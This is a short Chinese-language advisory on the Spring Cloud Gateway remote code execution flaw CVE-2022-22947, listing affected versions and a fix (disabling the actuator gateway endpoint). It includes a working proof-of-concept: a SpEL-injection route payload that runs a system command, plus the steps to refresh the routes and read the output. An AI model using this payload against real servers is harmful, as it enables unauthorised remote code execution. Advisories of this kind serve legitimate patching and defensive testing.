Spring Cloud Gateway远程代码执行漏洞(CVE-2022-22947)
问题描述:
使用 Spring Cloud Gateway 的应用如果对外暴露了 Gateway Actuator 端点时,则可能存在被 CVE-2022-22947 漏洞利用的风险。攻击者可通过利用此漏洞执行 SpEL 表达式,允许在远程主机上进行任意远程执行。获取系统权限。
影响范围:
1、除了 Spring Cloud Gateway 外,程序还用到了 Spring Boot Actuator 组件(它用于对外提供 /actuator/ 接口)
2、
- Spring Cloud Gateway 3.1.x < 3.1.1
- Spring Cloud Gateway 3.0.x < 3.0.7
- 其他旧的、不受支持的 Spring Cloud Gateway 版本
POC:
1、执行命令
http://xx.xx.xx.xx:xx/actuator/gateway/routes/hacktest
{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
2、刷新路由
http://xx.xx.xx.xx:xx/actuator/gateway/refresh
3、获取执行结果
http://xx.xx.xx.xx:xx/actuator/gateway/routes/hacktest
4、删除路由
http://xx.xx.xx.xx:xx/actuator/gateway/routes/hacktest
http://xx.xx.xx.xx:xx/actuator/gateway/refresh
解决方案:
关闭actuator的gateway
management.endpoint.gateway.enabled=false